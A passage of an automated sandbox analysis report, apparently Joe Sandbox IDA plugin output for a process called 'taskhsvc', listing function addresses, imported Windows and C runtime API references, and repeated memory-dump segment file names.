abort.MSVCRT ref: 002F1B59

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

Part of subcall function 0032158B: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00313E8F), ref: 003215E4
Part of subcall function 0032158B: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00313E8F), ref: 00321623
Part of subcall function 0032158B: memcpy.MSVCRT ref: 0032164A
Part of subcall function 0032158B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00313E8F), ref: 0032165D

Part of subcall function 002F11DB: __stack_chk_fail.LIBSSP-0 ref: 002F128B

Part of subcall function 002F0D90: __stack_chk_fail.LIBSSP-0 ref: 002F0E87

__stack_chk_fail.LIBSSP-0 ref: 002F1B7C

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

, xrefs: 002F1AC2

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00223C99, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48

APIs

__stack_chk_fail.LIBSSP-0 ref: 00223D3D

Part of subcall function 003286E9: strlen.MSVCRT ref: 00328739
Part of subcall function 003286E9: __stack_chk_fail.LIBSSP-0 ref: 00328789

Part of subcall function 00317D3D: free.MSVCRT ref: 00317D98
Part of subcall function 00317D3D: __stack_chk_fail.LIBSSP-0 ref: 00317DAB

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

free.MSVCRT ref: 00223D25

Strings

@bC, xrefs: 00223CF5

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00287868, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37

APIs

abort.MSVCRT ref: 002878D8

Part of subcall function 002875C0: time.MSVCRT ref: 002875F0
Part of subcall function 002875C0: abort.MSVCRT ref: 00287690
Part of subcall function 002875C0: abort.MSVCRT ref: 002876E2
Part of subcall function 002875C0: event_add.LIBEVENT-2-0-5 ref: 00287713
Part of subcall function 002875C0: __stack_chk_fail.LIBSSP-0 ref: 00287724

__stack_chk_fail.LIBSSP-0 ref: 00287904

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

n, xrefs: 002878C8

Memory Dump Source

Source File: 00000013.00000002.1855138358.00267000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00315AA7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36

APIs

rename.MSVCRT ref: 00315B14
__stack_chk_fail.LIBSSP-0 ref: 00315B24

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Strings

F, xrefs: 00315AEB

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00319204, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31

APIs

WSAStartup.WS2_32 ref: 0031922D
__stack_chk_fail.LIBSSP-0 ref: 00319286

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Strings

HF, xrefs: 0031924B

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002BFFD6, Relevance: 4.7, APIs: 3, Instructions: 245

APIs

strerror.MSVCRT ref: 002C005A

Part of subcall function 00319B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

Part of subcall function 002BEE07: __stack_chk_fail.LIBSSP-0 ref: 002BEE6E

Part of subcall function 002C13B7: free.MSVCRT ref: 002C166E
Part of subcall function 002C13B7: free.MSVCRT ref: 002C1698
Part of subcall function 002C13B7: free.MSVCRT ref: 002C16DA
Part of subcall function 002C13B7: free.MSVCRT ref: 002C1731
Part of subcall function 002C13B7: free.MSVCRT ref: 002C178E
Part of subcall function 002C13B7: __stack_chk_fail.LIBSSP-0 ref: 002C17A8

Part of subcall function 002BEE75: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,002C01E2), ref: 002BEF25

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

strerror.MSVCRT ref: 002C026C

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 00319BE8: memset.MSVCRT ref: 00319C1F
Part of subcall function 00319BE8: __stack_chk_fail.LIBSSP-0 ref: 00319C3A

Part of subcall function 002B3EC7: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,002B66C7), ref: 002B3EFF

Part of subcall function 002339FC: __stack_chk_fail.LIBSSP-0 ref: 00233AAE

__stack_chk_fail.LIBSSP-0 ref: 002C0321

Part of subcall function 00237466: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,002C0313), ref: 00237491

Part of subcall function 00326573: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,002C0EBF), ref: 003265A7

Part of subcall function 002BF7B1: strlen.MSVCRT ref: 002BF845
Part of subcall function 002BF7B1: strerror.MSVCRT ref: 002BF878
Part of subcall function 002BF7B1: strlen.MSVCRT ref: 002BF8B5
Part of subcall function 002BF7B1: strerror.MSVCRT ref: 002BF93C
Part of subcall function 002BF7B1: __stack_chk_fail.LIBSSP-0 ref: 002BF99F

Part of subcall function 003265AE: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,003266E8), ref: 003265E2

Part of subcall function 00325CFA: abort.MSVCRT ref: 00325D72
Part of subcall function 00325CFA: abort.MSVCRT ref: 00325DB1
Part of subcall function 00325CFA: abort.MSVCRT ref: 00325DF6
Part of subcall function 00325CFA: strerror.MSVCRT ref: 00325ECF
Part of subcall function 00325CFA: strerror.MSVCRT ref: 00325F30
Part of subcall function 00325CFA: _close.MSVCRT ref: 00325F8C
Part of subcall function 00325CFA: free.MSVCRT ref: 00325FB5
Part of subcall function 00325CFA: free.MSVCRT ref: 00325FDD
Part of subcall function 00325CFA: free.MSVCRT ref: 00325FFF
Part of subcall function 00325CFA: __stack_chk_fail.LIBSSP-0 ref: 0032601B

Memory Dump Source

Source File: 00000013.00000002.1855196147.00290000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00315B2B, Relevance: 4.7, APIs: 3, Instructions: 223

APIs

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

Part of subcall function 00315895: strlen.MSVCRT ref: 003158CA
Part of subcall function 00315895: __stack_chk_fail.LIBSSP-0 ref: 00315904

CreateFileA.KERNEL32 ref: 00315BEF

Part of subcall function 0031928D: FormatMessageA.KERNELBASE ref: 003192E4
Part of subcall function 0031928D: __stack_chk_fail.LIBSSP-0 ref: 0031933D

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

free.MSVCRT ref: 00315E9E

Part of subcall function 00315F38: free.MSVCRT ref: 00315FE2
Part of subcall function 00315F38: __stack_chk_fail.LIBSSP-0 ref: 00315FFE

__stack_chk_fail.LIBSSP-0 ref: 00315F2B

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
